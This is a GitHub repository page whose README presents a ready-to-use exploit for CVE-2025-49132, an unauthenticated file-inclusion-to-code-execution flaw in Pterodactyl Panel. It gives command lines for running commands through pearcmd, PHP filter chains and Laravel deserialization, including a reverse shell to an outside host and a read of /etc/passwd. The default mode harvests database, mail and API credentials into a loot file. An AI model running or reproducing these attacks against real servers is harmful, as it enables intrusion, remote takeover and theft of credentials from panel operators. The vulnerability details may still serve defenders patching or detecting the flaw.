close
Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

CVE-2025-49132 - Pterodactyl Panel Unauthenticated RCE

  ___ __   __ ___      ___   ___  ___  ___        _  _   ___  _  ____  ___ 
 / __|\ \ / /| __|___ |_  ) / _ \|_  )| __|___   | || | / _ \| ||__ / |_  )
| (__  \ V / | _|___|  / / | (_) |/ / |__ \___|  |_  _| \_, /| ||_ \  / / 
 \___|  \_/  |___|    /___| \___//___||___/        |_|   /_/ |_|___/ /___|

Exploit for Pterodactyl Panel ≤ 1.11.10 - unauthenticated LFI to RCE.

The Vulnerability

The /locales/locale.json endpoint accepts locale and namespace parameters that are passed directly to PHP's include() without sanitization or authentication. The hash parameter intended to prevent abuse is never enforced on unpatched versions.

This allows:

  • Local File Inclusion (LFI) - Read any .php config file (database creds, APP_KEY, mail, session…)
  • Remote Code Execution (RCE) - Via pearcmd.php inclusion (register_argc_argv + config-create trick), PHP filter chains, or Laravel deserialization with the leaked APP_KEY

Affected: Pterodactyl Panel ≤ 1.11.10 Fixed in: 1.11.11

Why This PoC?

The original PoCs use Python requests to send the pearcmd payload. The problem: requests silently URL-encodes characters like <, >, {, } - which breaks the PHP tags (<?=system(...)?>) embedded in the URL.

This exploit fixes that with two key changes:

  1. curl for Stage 1 - The payload creation request uses curl -g (globoff) via subprocess, bypassing Python's URL encoding entirely.
  2. hex2bin() for command encoding - Instead of injecting the raw command (which breaks on spaces and special chars), the command is hex-encoded and decoded server-side with system(hex2bin('...')). Hex only uses 0-9a-f - no +, no =, no &, no spaces. This means any command works, including reverse shells with >& and /dev/tcp/.
  3. Dynamic PEAR Path - Unlike many static scripts that hardcode /usr/share/php, this tool fully supports the --pear-dir argument. It dynamically injects the custom path into the raw curl request, allowing exploitation of targets with non-standard configurations.
  4. All-in-One Automation - Instead of relying on separate scripts for different vectors, this tool fully automates the entire attack surface (pearcmd, PHP Filters, Deserialization, LFI .php), checking every possibility to guarantee the most reliable RCE path.

Install

pip install requests

Optional (for filter chain / deserialization RCE methods):

pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator

Usage

RCE

# Simple command
python3 exploit.py http://panel.fr --rce-cmd "id"

# PHP filter chain (needs php_filter_chain_generator in PATH)
python3 exploit.py http://panel.fr --rce-filter "id"

# Pre-generated filter chain
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."

# Laravel deserialization via leaked APP_KEY (needs phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"

# RCE with another pear directory
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR

# Reverse shell 
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"

Full Config Dump (default mode)

# Dumps all configs (DB creds, APP_KEY, mail, session, CORS…) + attempts auto RCE
python3 exploit.py http://panel.fr

Options

Option Description
target Target URL (e.g. http://panel.pterodactyl.fr)
--rce-cmd CMD Execute CMD via pearcmd (supports any command, incl. reverse shells)
--rce-filter CMD Execute CMD via PHP filter chain
--filter-chain CHAIN Use a pre-generated php://filter chain (with --rce-filter)
--rce-d CMD Execute CMD via Laravel deserialization
--pear-dir PATH Path to pearcmd.php directory (default: /usr/share/php)
--timeout N Request timeout in seconds (default: 10)
--verify-ssl Enable SSL certificate verification (disabled by default)
-o FILE Output report file (default: loot.json)

Common --pear-dir values

Distro Path
Debian / Ubuntu /usr/share/php (default)
openSUSE /usr/share/php/PEAR
Alpine /usr/share/php84 or /usr/share/php83
RHEL / Rocky /usr/share/pear

What the Default Mode Dumps

When run without --rce-cmd / --rce-filter / --rce-d, the exploit performs a full config extraction:

  • Database - MySQL host, port, user, password, database name + Redis config
  • Application - APP_KEY (→ Laravel deserialization), version, environment, debug mode
  • Pterodactyl - Panel-specific settings, 2FA config, feature flags
  • Session - Driver, cookie config, encryption settings
  • Auth - Lockout config, password reset expiry
  • Services - External API keys (Mailgun, Postmark, etc.)
  • Mail - SMTP credentials, mailer config
  • Queue / Cache / Hashing / CORS / Logging / Filesystems
  • Sensitive files - Attempts to read /etc/passwd, hostname, kernel version

A full JSON report is saved to loot.json (or custom path via -o).

Credits

This exploit is an improvement based on the PoC from GRodolphe/CVE-2025-49132_poc, itself inspired by the original PoC from 0xtensho/CVE-2025-49132-poc.

About

Exploit for Pterodactyl Panel ≤ 1.11.10 - unauthenticated LFI to RCE.

Resources

Stars

25 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages